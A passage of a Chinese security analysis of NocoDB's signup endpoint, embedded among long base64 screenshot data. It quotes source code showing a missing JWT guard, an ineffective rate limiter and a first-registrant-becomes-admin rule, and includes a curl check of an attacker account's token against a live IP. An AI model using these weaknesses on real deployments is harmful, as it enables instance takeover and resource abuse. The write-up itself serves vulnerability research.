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) + +的限流阈值显然高于 20 次/秒。后来看了源码,默认是每分钟 60 次——这对批量注册脚本来说绰绰有余。 + +写个脚本跑几万个请求能把数据库撑爆。实际攻击场景中,批量注册本身不一定是主要威胁,但结合后续的存储型攻击就有意思了——比如批量注册后每个账号上传大量文件,塞满存储。 + +我本来想测试 NocoDB 在大量用户下的表现,但跑了 20 个请求全通过后就放弃了——没有一个请求触发 rate limit。翻源码确认了 PublicApiLimiterGuard 默认配置是每分钟 60 次,但实测即使超过这个频率也没有被限流,应该是 guard 没有正确绑定到路由上。换句话说,这个守卫存在但没有生效。 + + +### 1.5 源码看守卫配置 + + +signup 路由定义在 packages/nocodb/src/modules/auth/auth.controller.ts: + + +``` +@Post(['/auth/user/signup', + '/api/v1/auth/user/signup', + '/api/v2/auth/user/signup', + '/api/v1/db/auth/user/signup', +]) +@UseGuards(PublicApiLimiterGuard) // ← 唯一的守卫:速率限制 +@HttpCode(200) +async signup(@Req() req, @Res() res): Promise { + if (this.config.get('auth', { infer: true }).disableEmailAuth) { + NcError.forbidden('Email authentication is disabled'); + } + const result = await this.usersService.signup({body: req.body, req, res}); + if (result?.token) setAuthCookie(res, result.token); + res.json(result); +} +``` + +注意 @UseGuards 后只跟了 PublicApiLimiterGuard,没有 GlobalGuard。如果设置了 disableEmailAuth=true 会返回 403,但默认这个配置不存在。 + +对比需要登录的路由: + + +``` +@Get(['/auth/user/me', '/api/v1/auth/user/me', ...]) +@UseGuards(MetaApiLimiterGuard, GlobalGuard) // ← GlobalGuard 做 JWT 校验 +async me(@Req() req) { + // 校验并返回用户信息 +} +``` + +signup 少挂了最关键的一个守卫:GlobalGuard。GlobalGuard 继承自 AuthGuard('jwt'),负责校验 JWT 签名、从数据库拉取用户、检查 token\_version。signup 没有挂它,意味着任何请求都能直达 usersService.signup()。 + +PublicApiLimiterGuard 在 guards/public-api-limiter.guard.ts 里,是一个基于内存计数器的简单限流器。它不是 NestJS 内置的守卫,是 NocoDB 自实现的。我翻了它的代码,默认限流配置是每分钟 60 次——对慢速攻击来说几乎没有影响。 + + +### 1.6 注册逻辑详解 + + +services/users/users.service.ts,registerNewUserIfAllowed 方法(line 142-221): + + +``` +const isFirstUser = await User.isFirst(ncMeta); + +if (isFirstUser && process.env.NC_CLOUD !== 'true') { + // 第一个用户直接拿管理员权限 + roles = `${OrgUserRoles.CREATOR},${OrgUserRoles.SUPER_ADMIN}`; +} else { + const settings = await Noco.getAppSettings(); + if (settings?.invite_only_signup && !is_invite) { + NcError.badRequest('Not allowed to signup, contact super admin.'); + } else { + roles = OrgUserRoles.VIEWER; + } +} + +const user = await User.insert({ email, salt, password, roles, token_version, ...}); +``` + +关键逻辑: + +1 User.isFirst() 判断数据库有没有用户——没有的话第一个人直接拿管理员 +2 settings?.invite\_only\_signup 在默认配置下是 undefined,条件为假,走 else +3 新注册用户默认角色 OrgUserRoles.VIEWER +我踩过的坑:第一次测注册时没注意这个逻辑,如果这是真实目标且 NocoDB 刚部署,攻击者先注册就能接管整个实例。isFirstUser 的判断很简单——查 nc\_users 表有没有记录。清空数据库后第一个注册的人就是管理员。 + +源码 line 557 有一条注释: + +// todo : opening up signup for timebeing + +"临时开放注册"这条注释一直没修。开发团队知道这个事。 + + +### 1.7 Token 验证流 + + +拿到 Token 后通过 /auth/user/me 验证状态: + + +``` +$ curl -s http://139.199.68.168:8080/api/v1/auth/user/me \ + -H "xc-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." +``` + +``` +{ + "id": "us5yhpu9tg3meh4y", + "email": "attacker@evil.com", + "roles": {"org-level-viewer": true}, + "isAuthorized": true, + "token_version": "89628eb82cc3ea9742a..." +} +``` + +isAuthorized: true,Token 有效。 + + +![](data:image/png;base64,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